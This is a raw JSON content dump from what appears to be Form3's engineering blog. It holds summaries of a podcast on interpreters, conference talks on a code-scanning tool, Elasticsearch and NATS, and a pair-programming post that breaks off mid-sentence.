LinkedIn!",[17272,17275],{"start":1557,"end":1729,"type":744,"data":17273},{"link_type":453,"url":17274,"target":456},"https:\u002F\u002Fuk.linkedin.com\u002Fin\u002Fbrendan-devenney",{"start":1507,"end":6501,"type":744,"data":17276},{"link_type":453,"url":17277,"target":456},"https:\u002F\u002Fuk.linkedin.com\u002Fin\u002Fpolchawa","rich_text$f04b59ef-7b3d-4160-9981-eb266880b895",{"id":17280,"uid":17281,"url":17282,"type":406,"href":17283,"tags":17284,"first_publication_date":16687,"last_publication_date":17285,"slugs":17286,"linked_documents":17288,"lang":386,"alternate_languages":17289,"data":17290},"alz1QREAACgAUWiy","ep22-podcast","\u002Fresources\u002Fengineering-blog\u002Fep22-podcast","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1QREAACgAUWiy%22%29+%5D%5D",[],"2026-09-02T18:53:01+0000",[17287],"ep-22-.tech---how-do-interpreters-work",[],[],{"title":17291,"excerpt":17292,"card_image":17293,"published_date":17297,"reading_time":1105,"tag":427,"dek":13,"featured_image":17298,"about_form3":17299,"client_about_heading":13,"client_about_body":17300,"author_name":1277,"author_title":1278,"author_photo":17301,"author_bio":17304,"author_linkedin":17307,"slices":17309,"meta_title":17291,"meta_description":17292},".tech Podcast - How do interpreters work?","Join host Kevin Holditch for a podcast episode on how interpreters work. Thorsten Ball, author of the fantastic book - Writing An Interpreter In Go - lifts the bonnet on what happens inside the interpreter.",{"dimensions":17294,"alt":15949,"copyright":13,"url":17295,"id":9555,"edit":17296},{"width":420,"height":420},"\u002F_prismic-media\u002Fa72b97473e6462ec-AsRbdCaw-56Gihpn_podcast-k8s-robusta.png",{"x":17,"y":17,"zoom":18,"background":19},"2021-12-15",{},[],[],{"dimensions":17302,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":17303},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[17305],{"type":396,"text":1287,"spans":17306},[],{"link_type":453,"key":17308,"url":1291,"target":456},"b1b56c27-9b55-478e-ab65-1587738a8854",[17310,17327,17347,17383],{"variation":459,"version":460,"items":17311,"primary":17312,"id":17326,"slice_type":479,"slice_label":13},[],{"body":17313},[17314,17323],{"type":396,"text":17315,"spans":17316},"To most of us interpreters feel quite magical in that they can take a string and execute that as meaningful code. Thorsten Ball, author of the fantastic book: Writing An Interpreter In Go lifts the bonnet on what happens inside the interpreter on the .tech podcast hosted by Form3’s Kevin Holditch. ",[17317,17320],{"start":1549,"end":9495,"type":744,"data":17318},{"link_type":453,"url":17319},"https:\u002F\u002Finterpreterbook.com\u002F",{"start":17321,"end":6475,"type":744,"data":17322},283,{"link_type":453,"url":6957},{"type":396,"text":17324,"spans":17325},"Thorsten goes through the stages of interpreting and adds concrete examples of how each stage fits into the next.",[],"rich_text$d6599659-c789-4fd4-ac40-e0628092f973",{"variation":459,"version":481,"items":17328,"primary":17329,"id":17346,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17330,"body":17334,"cta_label":1304,"cta_link":17337,"aside_type":13,"aside_image":17340,"aside_video":17341,"aside_video_poster":17342,"aside_video_reduced_motion":17343,"aside_video_url":13,"aside_embed":17344,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17345,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[17331],{"type":465,"text":17332,"spans":17333},"Ep 22 .tech - How do interpreters work?",[],[17335],{"type":396,"text":1302,"spans":17336},[],{"link_type":453,"key":17338,"url":17339},"587855bb-3f24-404f-9cf4-5e06bcaf7437","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-22-tech-how-do-interpreters-work-4JYqBPZV",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$604a2073-0267-4320-bc9d-c2a392668cb6",{"variation":459,"version":460,"items":17348,"primary":17349,"id":17382,"slice_type":479,"slice_label":13},[],{"body":17350},[17351,17354,17357,17361,17364,17369,17374,17378],{"type":1097,"text":17352,"spans":17353,"direction":4053},"Whistle stop tour",[],{"type":396,"text":17355,"spans":17356,"direction":4053},"Programming languages can be implemented in one of two ways: by building a compiler or by building an interpreter. An interpreter reads in your program and then executes it by telling the computer\u002FCPU what to do. Examples of interpreted languages are Ruby, Python or Javascript.",[],{"type":396,"text":17358,"spans":17359,"direction":4053},"Both compilers and intrepreters give you more expressiveness: write less code to do more! Most of us are used to writing in high level languages such as Go, C# etc. More expresiveness and abstraction give you more building blocks to build bigger programs.",[17360],{"start":589,"end":2103,"type":780},{"type":396,"text":17362,"spans":17363,"direction":4053},"The stages of an interpreter are:",[],{"type":1101,"text":17365,"spans":17366,"direction":4053},"The lexing\u002Fscanner stage: read the input code as a string and split it up into meaningful tokens which are keywords, values and variable names. This creates the token array.",[17367,17368],{"start":667,"end":905,"type":477},{"start":1524,"end":9702,"type":780},{"type":1101,"text":17370,"spans":17371,"direction":4053},"The parsing stage: takes in the token array or stream and creates an abstract syntax tree(AST), which is a graph that organises the tokens in a meaningful way. The syntax tree represents conditions and their tokens on their correct tree branches. The parser uses recursion to figure out token precedence.",[17372,17373],{"start":667,"end":1998,"type":477},{"start":687,"end":4349,"type":780},{"type":1101,"text":17375,"spans":17376,"direction":4053},"The evaluation stage: this stage takes the syntax tree and executes it, combining the nodes and branches of the AST using their operators and recursion. Easy peasy!",[17377],{"start":667,"end":1342,"type":477},{"type":396,"text":17379,"spans":17380,"direction":4053},"By comparison, compilation results in an artifact that is executed later. An interpreter looks at your source code and then executes it as quickly as possible. The compiler is interested in making the code runtime as optimal as possible, without caring about the time between code writing and code execution.",[17381],{"start":2000,"end":596,"type":477},"rich_text$c48e3d53-0516-423b-aeae-e8e2a40df659",{"variation":459,"version":460,"items":17384,"primary":17385,"id":17393,"slice_type":479,"slice_label":13},[],{"body":17386},[17387,17389],{"type":1097,"text":15393,"spans":17388,"direction":4053},[],{"type":396,"text":16676,"spans":17390,"direction":4053},[17391],{"start":5023,"end":2542,"type":744,"data":17392},{"link_type":453,"url":15400,"target":456},"rich_text$3aeac877-dd5a-418f-bc71-0a250c55b84f",{"id":17395,"uid":17396,"url":17397,"type":406,"href":17398,"tags":17399,"first_publication_date":16687,"last_publication_date":17400,"slugs":17401,"linked_documents":17403,"lang":386,"alternate_languages":17404,"data":17405},"alz1QhEAACsAUWi8","conf42-code-insight","\u002Fresources\u002Fengineering-blog\u002Fconf42-code-insight","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1QhEAACsAUWi8%22%29+%5D%5D",[],"2026-09-02T18:53:21+0000",[17402],"whistle-stop-tour",[],[],{"title":17406,"excerpt":17407,"card_image":17408,"published_date":17411,"reading_time":1411,"tag":206,"dek":13,"featured_image":17412,"about_form3":17413,"client_about_heading":13,"client_about_body":17414,"author_name":1277,"author_title":1278,"author_photo":17415,"author_bio":17418,"author_linkedin":17421,"slices":17423,"meta_title":17406,"meta_description":17488},"Conf42 DevSecOps 2021: Building our own custom Code Insight tool at Form3","We are on a journey in scaling up - we are expanding our codebase and our engineering teams as fast as we can! In this talk, we present Code Insight, our tool for scanning our code for vulnerabilities.",{"dimensions":17409,"alt":15418,"copyright":13,"url":15419,"id":15420,"edit":17410},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2021-12-08",{},[],[],{"dimensions":17416,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":17417},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[17419],{"type":396,"text":1287,"spans":17420},[],{"link_type":453,"key":17422,"url":1291,"target":456},"7c9a148f-23ab-419f-abce-2ad8a66c95ef",[17424,17432,17441,17463],{"variation":459,"version":460,"items":17425,"primary":17426,"id":17431,"slice_type":479,"slice_label":13},[],{"body":17427},[17428],{"type":396,"text":17429,"spans":17430},"We are on a journey in scaling up - we are expanding our codebase and our engineering teams as fast as we can! In this talk, we present Code Insight, our tool for scanning our code for vulnerabilities. Watch our talk to find out how we built and rolled out Code Insight to our teams, enabling them to deliver faster than ever before!",[],"rich_text$060364a9-afd9-4dcc-9b9f-c4a56646f3de",{"variation":459,"version":460,"items":17433,"primary":17434,"id":17440,"slice_type":14632,"slice_label":13},[],{"headline":13,"sub_headline":13,"embed":17435,"caption":13},{"embed_url":17436,"type":14622,"version":14623,"title":17437,"author_name":14625,"author_url":14626,"provider_name":284,"provider_url":14627,"thumbnail_url":17438,"thumbnail_width":14629,"thumbnail_height":3835,"html":17439,"height":5615,"width":12494},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=UvOdp38QVMs","Building our own custom Code Insight tool | Adelina Simion & Ross McFarlane | Conf42 DevSecOps 2021","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FUvOdp38QVMs\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FUvOdp38QVMs?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Building our own custom Code Insight tool | Adelina Simion & Ross McFarlane | Conf42 DevSecOps 2021\">\u003C\u002Fiframe>","embed$3d4d960c-b3e4-4426-998a-d8f50b085779",{"variation":459,"version":460,"items":17442,"primary":17443,"id":17462,"slice_type":479,"slice_label":13},[],{"body":17444},[17445,17447,17450,17453,17456,17459],{"type":1097,"text":17352,"spans":17446,"direction":4053},[],{"type":396,"text":17448,"spans":17449,"direction":4053},"This talk shares some key points in our journey to introduce a new static code analysis tools in our teams.\nHere are some key highlights of the talk:",[],{"type":1101,"text":17451,"spans":17452,"direction":4053},"We are a rapidly growing engineering organisation. This means that we have engineers which are quite new to the codebase contributing to live services. We own 500 repositories in different languages such as Terraform, Go, Java, YAML which our developers contribute to at different frequencies.",[],{"type":1101,"text":17454,"spans":17455,"direction":4053},"Form3’s platform is compliant with the highest standards of security and should be actively maintained to remain free from vulnerabilities.",[],{"type":1101,"text":17457,"spans":17458,"direction":4053},"Our teams needed a centralised source code scanning solution that could integrate well with our development workflows. A central configuration makes it easy to maintain and change system wide configs.",[],{"type":1101,"text":17460,"spans":17461,"direction":4053},"We implemented a GithubApp for code insight that we can integrate into our Travis workflows. Under the hood the app uses Github Webhooks, Amazon API Gateway and AWS Lambda and Fargate spot instances to run our scans. New scans are configured using Docker images.",[],"rich_text$7bc7203f-be28-4766-ad12-258ca7ee022c",{"variation":459,"version":481,"items":17464,"primary":17465,"id":17487,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17466,"body":17467,"cta_label":13,"cta_link":17474,"aside_type":488,"aside_image":17475,"aside_video":17482,"aside_video_poster":17483,"aside_video_reduced_motion":17484,"aside_video_url":13,"aside_embed":17485,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17486,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17468,17471],{"type":1101,"text":17469,"spans":17470,"direction":4053},"Nightly builds, alongside PR builds, ensure that we have an up-to-date view of our vulnerabilities.",[],{"type":1101,"text":17472,"spans":17473,"direction":4053},"Code Insight allowed Form3 to streamline development work. No extra config and easy maintenance were big improvements to our previous code scanning solution.",[],{"link_type":487},{"dimensions":17476,"alt":13,"copyright":13,"url":17479,"id":17480,"edit":17481},{"width":17477,"height":17478},1920,1080,"\u002F_prismic-media\u002F2968aa9c610cdc4e-44ka9E0qCwruU2X9_08fc6517-c213-405f-9dfb-bccf50c.png","44ka9E0qCwruU2X9",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$7719d4f8-bf89-4a6b-9c29-855785dc7708","We are on a journey in scaling up - we are expanding our codebase and our engineering teams as fast as we can! In this talk, we present Code Insight, our tool for scanning our code for vulnerabilities",{"id":17490,"uid":17491,"url":17492,"type":406,"href":17493,"tags":17494,"first_publication_date":382,"last_publication_date":17495,"slugs":17496,"linked_documents":17497,"lang":386,"alternate_languages":17498,"data":17499},"alz1RBEAAC0AUWjH","gophercon-elastic","\u002Fresources\u002Fengineering-blog\u002Fgophercon-elastic","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1RBEAAC0AUWjH%22%29+%5D%5D",[],"2026-09-02T18:53:42+0000",[17402],[],[],{"title":17500,"excerpt":17501,"card_image":17502,"published_date":17505,"reading_time":3400,"tag":206,"dek":13,"featured_image":17506,"about_form3":17507,"client_about_heading":13,"client_about_body":17508,"author_name":17509,"author_title":17510,"author_photo":17511,"author_bio":17516,"author_linkedin":17520,"slices":17523,"meta_title":17592,"meta_description":17501},"GopherCon UK 2021: How Go powered our use of Elasticsearch to increase the performance of our APIs","We had an interesting scaling problem with a Postgres bottleneck. We determined that Elasticsearch would help us to remove this bottleneck. However, in order to do this we needed a solution to listen to the events from our messaging queues and to create and update the relevant documents in Elasticsearch in order to make this work. Enter Go!",{"dimensions":17503,"alt":15418,"copyright":13,"url":15419,"id":15420,"edit":17504},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2021-11-26",{},[],[],"Stuart Murray","Senior Engineer",{"dimensions":17512,"alt":17509,"copyright":13,"url":17513,"id":17514,"edit":17515},{"width":443,"height":1281},"\u002F_prismic-media\u002Fe31b07911dfe7b18-Sols75qex7mnh8AP_a4e4b7c3-fb6f-443f-b7be-f72150e.png","Sols75qex7mnh8AP",{"x":17,"y":17,"zoom":18,"background":19},[17517],{"type":396,"text":17518,"spans":17519},"Stuart is a Senior Engineer at Form3 in the Core Payments Team. Prior to Form3 Stuart was a consultant and developer working across a range of projects in the healthcare, insurtech and stored value payments sectors. Stuart enjoys working deeply with Go but also works with Java, Rust and Python and previously used C#. Stuart is a member of (and sometimes speaker at) several meetups including GoSheffield.",[],{"link_type":453,"key":17521,"url":17522,"target":456},"b4aa6167-e659-4c20-9556-e265fa2ac0c4","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fstoovon\u002F",[17524,17531,17542,17561],{"variation":459,"version":460,"items":17525,"primary":17526,"id":17530,"slice_type":479,"slice_label":13},[],{"body":17527},[17528],{"type":396,"text":17501,"spans":17529},[],"rich_text$12ca9f88-91eb-4ab2-bd61-66ef8e3acc02",{"variation":459,"version":460,"items":17532,"primary":17533,"id":17541,"slice_type":14632,"slice_label":13},[],{"headline":13,"sub_headline":13,"embed":17534,"caption":13},{"embed_url":17535,"type":14622,"version":14623,"title":17536,"author_name":17537,"author_url":17538,"provider_name":284,"provider_url":14627,"thumbnail_url":17539,"thumbnail_width":14629,"thumbnail_height":3835,"html":17540,"height":5615,"width":12494},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=r3g-uSJcU1Y","GopherCon UK 2021: Stuart Murray - How Go powered our elastic search","GopherCon UK","https:\u002F\u002Fwww.youtube.com\u002F@GopherConUK","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002Fr3g-uSJcU1Y\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fr3g-uSJcU1Y?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"GopherCon UK 2021: Stuart Murray - How Go powered our elastic search\">\u003C\u002Fiframe>","embed$76dbabdf-43eb-4348-bdf2-94cb52a55abf",{"variation":459,"version":460,"items":17543,"primary":17544,"id":17560,"slice_type":479,"slice_label":13},[],{"body":17545},[17546,17548,17551,17554,17557],{"type":465,"text":17352,"spans":17547,"direction":4053},[],{"type":396,"text":17549,"spans":17550,"direction":4053},"This talk shares some key points in our journey to introduce a solution in Go featuring the Go elasticsearch client:",[],{"type":1101,"text":17552,"spans":17553,"direction":4053},"How we structured the solution to maximise maintainability and ease of rapid development;",[],{"type":1101,"text":17555,"spans":17556,"direction":4053},"The strengths of Go that were really compelling to our use case; and",[],{"type":1101,"text":17558,"spans":17559,"direction":4053},"Some of the challenges we overcame along the way, and lessons learned.",[],"rich_text$6785b32d-d0f5-42c6-8ae0-016a7aa9c16e",{"variation":459,"version":481,"items":17562,"primary":17563,"id":17591,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17564,"body":17565,"cta_label":13,"cta_link":17578,"aside_type":488,"aside_image":17579,"aside_video":17586,"aside_video_poster":17587,"aside_video_reduced_motion":17588,"aside_video_url":13,"aside_embed":17589,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17590,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17566,17569,17572,17575],{"type":396,"text":17567,"spans":17568,"direction":4053},"In terms of key take-aways:",[],{"type":1101,"text":17570,"spans":17571,"direction":4053},"Our solution was successful, and Go helped us to produce an efficient implementation with minimal additional complexity",[],{"type":1101,"text":17573,"spans":17574,"direction":4053},"The unidirectional architecture allowed us to evolve the solution as we iterated",[],{"type":1101,"text":17576,"spans":17577,"direction":4053},"There were some great questions from the community around some of these points - there’s a good Q&A in the video",[],{"link_type":487},{"dimensions":17580,"alt":13,"copyright":13,"url":17583,"id":17584,"edit":17585},{"width":17581,"height":17582},2418,1354,"\u002F_prismic-media\u002F654c3dd7abaf666b-Sl91UHnm7XgEiIDq_0fe427ad-26ec-4907-9fab-905134b.png","Sl91UHnm7XgEiIDq",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$f06bd235-27da-4ce4-b84d-b2f3b948b23e","Gophercon UK 2021: How Go powered our use of Elasticsearch to increase the performance of our APIs",{"id":17594,"uid":17595,"url":17596,"type":406,"href":17597,"tags":17598,"first_publication_date":382,"last_publication_date":17599,"slugs":17600,"linked_documents":17601,"lang":386,"alternate_languages":17602,"data":17603},"alz1RhEAAC4AUWjV","gophercon-nats","\u002Fresources\u002Fengineering-blog\u002Fgophercon-nats","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1RhEAAC4AUWjV%22%29+%5D%5D",[],"2026-09-02T18:54:04+0000",[17402],[],[],{"title":17604,"excerpt":17605,"card_image":17606,"published_date":17609,"reading_time":672,"tag":206,"dek":13,"featured_image":17610,"about_form3":17611,"client_about_heading":13,"client_about_body":17612,"author_name":1277,"author_title":1278,"author_photo":17613,"author_bio":17616,"author_linkedin":17619,"slices":17621,"meta_title":17686,"meta_description":17605},"GopherCon UK 2021: Using NATS for multi cloud event streaming","Form3 has been successfully using NATS for event streaming on our multi cloud architecture, which powers payments for Financial Institutions at high volumes. This talk shares our knowledge and usage of this cool technology with the tech community.",{"dimensions":17607,"alt":15418,"copyright":13,"url":15419,"id":15420,"edit":17608},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2021-11-25",{},[],[],{"dimensions":17614,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":17615},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[17617],{"type":396,"text":1287,"spans":17618},[],{"link_type":453,"key":17620,"url":1291,"target":456},"1ed77f4c-4a0c-4cef-adbb-73c0bfb83ae7",[17622,17630,17639,17664],{"variation":459,"version":460,"items":17623,"primary":17624,"id":17629,"slice_type":479,"slice_label":13},[],{"body":17625},[17626],{"type":396,"text":17627,"spans":17628},"NATS is a lightweight, easy to deploy, high performance messaging system that builds upon cloud native infrastructure concepts.\nIt is also open source and written in Go. Form3 has been successfully using NATS for event streaming on our multi cloud architecture, which powers payments for Financial Institutions at high volumes.\nThis talk shares our knowledge and usage of this cool technology with the tech community.",[],"rich_text$41ebb960-70b4-4f62-befd-605607ebef4d",{"variation":459,"version":460,"items":17631,"primary":17632,"id":17638,"slice_type":14632,"slice_label":13},[],{"headline":13,"sub_headline":13,"embed":17633,"caption":13},{"embed_url":17634,"type":14622,"version":14623,"title":17635,"author_name":17537,"author_url":17538,"provider_name":284,"provider_url":14627,"thumbnail_url":17636,"thumbnail_width":14629,"thumbnail_height":3835,"html":17637,"height":5615,"width":12494},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=AhnL5addsVo","GopherCon UK 2021: Adelina Simion - Using NATS","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FAhnL5addsVo\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FAhnL5addsVo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"GopherCon UK 2021: Adelina Simion - Using NATS\">\u003C\u002Fiframe>","embed$c5b53e9c-2da1-4119-9aa5-cfe3bb0565b6",{"variation":459,"version":460,"items":17640,"primary":17641,"id":17663,"slice_type":479,"slice_label":13},[],{"body":17642},[17643,17645,17648,17651,17654,17657,17660],{"type":465,"text":17352,"spans":17644,"direction":4053},[],{"type":396,"text":17646,"spans":17647,"direction":4053},"Here are some key highlights of the talk:",[],{"type":582,"text":17649,"spans":17650,"direction":4053},"Form3’s platform is critical payments infrastructure, processing millions of payments every day across the UK and Europe.\nOur old architecture relied on message fanout using SNS & SQS to send payments to our validation and gateway services, which do all the securing and mapping of the payments against the external payments infrastructure.",[],{"type":582,"text":17652,"spans":17653,"direction":4053},"While this architecture was easy to start with, scale and secure, we measured a few spikes in latency of 300ms+ when our platform is processing high volumes. It was time to evolve our architecture and NATS was identified as a good solution.",[],{"type":582,"text":17655,"spans":17656,"direction":4053},"Core NATS is simple, fast and at its core is a fire-and-forget, at-most-once messaging system. You can see our demo implementations of a NATS Core Publisher and NATS Core Subscriber.",[],{"type":582,"text":17658,"spans":17659,"direction":4053},"JetStream is the recommended option for persistence and message guarantees. It has many features which were required of mature production systems, such as at-least-once delivery, data at rest encryption, horizontal scalability. You can see our demo implementations of a JetStream Publisher, JetStream Push Consumer and JetStream Pull Consumer.",[],{"type":582,"text":17661,"spans":17662,"direction":4053},"We’ve been using NATS Streaming as an event bus in our data centers in production and successfully delivering over a million messages every day.We are now going to introduce JetStream elsewhere in our payments platform. The usecase of the SNS & SQS fanout fits the NATS usage very well, so we can use JetStream as our event bus. The NATS streaming and JetStream clusters are bridged using NATS leaf nodes.",[],"rich_text$b3479f70-cb0f-439b-a76f-82aab9d9d55a",{"variation":459,"version":481,"items":17665,"primary":17666,"id":17685,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17667,"body":17668,"cta_label":13,"cta_link":17672,"aside_type":488,"aside_image":17673,"aside_video":17680,"aside_video_poster":17681,"aside_video_reduced_motion":17682,"aside_video_url":13,"aside_embed":17683,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17684,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[17669],{"type":396,"text":17670,"spans":17671,"direction":4053},"This talk has multiple sections, building from NATS fundamentals, continuing on to JetStream and then on to how we use NATS in production at Form3. ",[],{"link_type":487},{"dimensions":17674,"alt":13,"copyright":13,"url":17677,"id":17678,"edit":17679},{"width":17675,"height":17676},1703,1299,"\u002F_prismic-media\u002F529d5086fc4ff2c1-qDpFLMRA1hL7SG-1_36dc7f70-f984-42f1-953c-e28e04b.png","qDpFLMRA1hL7SG-1",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$09459033-4523-4009-b669-ed7a471f4786","Gophercon UK 2021: Using NATS for multi cloud event streaming",{"id":17688,"uid":17689,"url":17690,"type":406,"href":17691,"tags":17692,"first_publication_date":382,"last_publication_date":17693,"slugs":17694,"linked_documents":17696,"lang":386,"alternate_languages":17697,"data":17698},"alz1SBEAAC4AUWjf","remote-pair-programming","\u002Fresources\u002Fengineering-blog\u002Fremote-pair-programming","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1SBEAAC4AUWjf%22%29+%5D%5D",[],"2026-09-02T18:54:27+0000",[17695],"so-what-is-pair-programming",[],[],{"title":17699,"excerpt":17700,"card_image":17701,"published_date":17704,"reading_time":667,"tag":427,"dek":13,"featured_image":17705,"about_form3":17706,"client_about_heading":13,"client_about_body":17707,"author_name":1594,"author_title":1595,"author_photo":17708,"author_bio":17711,"author_linkedin":17716,"slices":17718,"meta_title":17699,"meta_description":17700},"Utilising Pair Programming in a 100% remote environment","Andy Kuszyk's experience with Pair Programming at Form3",{"dimensions":17702,"alt":15418,"copyright":13,"url":15419,"id":15420,"edit":17703},{"width":420,"height":420},{"x":17,"y":17,"zoom":18,"background":19},"2021-10-02",{},[],[],{"dimensions":17709,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":17710},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[17712],{"type":396,"text":1603,"spans":17713},[17714],{"start":1606,"end":1607,"type":744,"data":17715},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":17717,"url":1612,"target":456},"728e3fcc-7ef0-4cb0-bfc9-ba37c72275d4",[17719,17741,17758],{"variation":459,"version":481,"items":17720,"primary":17721,"id":17740,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":17722,"body":17726,"cta_label":13,"cta_link":17727,"aside_type":488,"aside_image":17728,"aside_video":17735,"aside_video_poster":17736,"aside_video_reduced_motion":17737,"aside_video_url":13,"aside_embed":17738,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":17739,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[17723],{"type":465,"text":17724,"spans":17725,"direction":4053},"So, what is Pair Programming?",[],[],{"link_type":487},{"dimensions":17729,"alt":13,"copyright":13,"url":17732,"id":17733,"edit":17734},{"width":17730,"height":17731},6000,4000,"\u002F_prismic-media\u002Faf5b8a602d8fa65c-pPyHtBgu6YxU1c-w_070ad29b-670c-4e83-bed0-8e0b53a.jpeg","pPyHtBgu6YxU1c-w",{"x":17,"y":17,"zoom":18,"background":424},{"link_type":493},{},{},{},{"link_type":499},"content_block$275b347c-bb27-4ac3-9cac-8754d60a156f",{"variation":459,"version":460,"items":17742,"primary":17743,"id":17757,"slice_type":479,"slice_label":13},[],{"body":17744},[17745,17748,17751,17754],{"type":396,"text":17746,"spans":17747,"direction":4053},"Pair programming is basically an exercise when two people work on a task together, one could be writing code whilst the other observing and taking a bit more of a high-level view. Personally, for me in an office environment, pair programming felt a bit of an alien concept. You’d be sitting next to someone, watching what they were doing and swapping keyboards. For Form3 it just means being on a call and collaborating with someone. It can be formal with two people like I just mentioned, or it can also be very informal with 3-4 engineers on a call talking through a problem and coming up with a solution.",[],{"type":396,"text":17749,"spans":17750,"direction":4053},"There is no set schedule as to how much we utilise pair programming at Form3, it varies really! At the moment I am working on the same task as another one of the engineers and we’re spending most of the day pairing together. We might drop off occasionally to go make a coffee or go on another call with someone else and there are also other times where I may be working by myself on something which may happen for a few days.",[],{"type":396,"text":17752,"spans":17753,"direction":4053},"There are also in-between times where I might spend half a day pairing and the other half working by myself. Sometimes I may be working on something that doesn’t warrant having two people looking at it so we’d always take a sensible view whilst pairing. Most of the time we do try to collaborate where it makes sense to do so.",[],{"type":396,"text":17755,"spans":17756,"direction":4053},"An attractive feature of pairing is that it is very flexible. If I am pairing with someone all day we typically start after our morning stand up, normally at 9:30 onwards (so not an ungodly hour). We tend to have coffee breaks in between; I may go out for a run, so I’d say I’ll be back in an hour. It’s very relaxed and not like we’re glued to our zoom call! I personally don’t feel it impinges on my remote working flexibility – quite the opposite really as I tend to fit it around my life.",[],"rich_text$426d909c-283b-4e44-9ccd-3d8ac8021e9b",{"variation":459,"version":460,"items":17759,"primary":17760,"id":17774,"slice_type":479,"slice_label":13},[],{"body":17761},[17762,17765,17768,17771],{"type":1097,"text":17763,"spans":17764,"direction":4053},"Solving complex payments problems at Form3",[],{"type":396,"text":17766,"spans":17767,"direction":4053},"At Form3, I often find myself looking at very complex problems or specific code relating to payments that I may not have come across before so having the experience and knowledge of another engineer present helps a lot. Normally one of us will have seen code like that or have some understanding of the domain so it doubles your ability to understand the problem. It’s a good chance to learn from other engineers. For example, I personally did not have a lot of experience with infrastructure, so pairing was really useful for me to learn more about that side of things. It’s a bit like being in the office where you may go and ask ‘Jim, the database guy’ for help, except in the office Jim may have his headphones on, or Jim is always being asked for help so actually you might not ask as often as you should. Whereas here, I can just put a message out on slack and normally I’ll get lots of responses from people offering to help me solve the problem. No question is a stupid question, although we have a very experienced team, everyone has different strengths and weaknesses.",[],{"type":396,"text":17769,"spans":17770,"direction":4053},"Before joining the company, I wasn’t sure if I’d miss being a solitary software engineer where you sit by yourself in your own world and doing your own thing. I obviously still get a chance to do that when I am working by myself but when I am pairing with someone, by the end of the day I’m often exhausted as we’ve made so much progress from the sessions which I probably wouldn’t have done by myself. So, although it’s a different style of working, it’s certainly not one that I regret taking part in. It’s a very 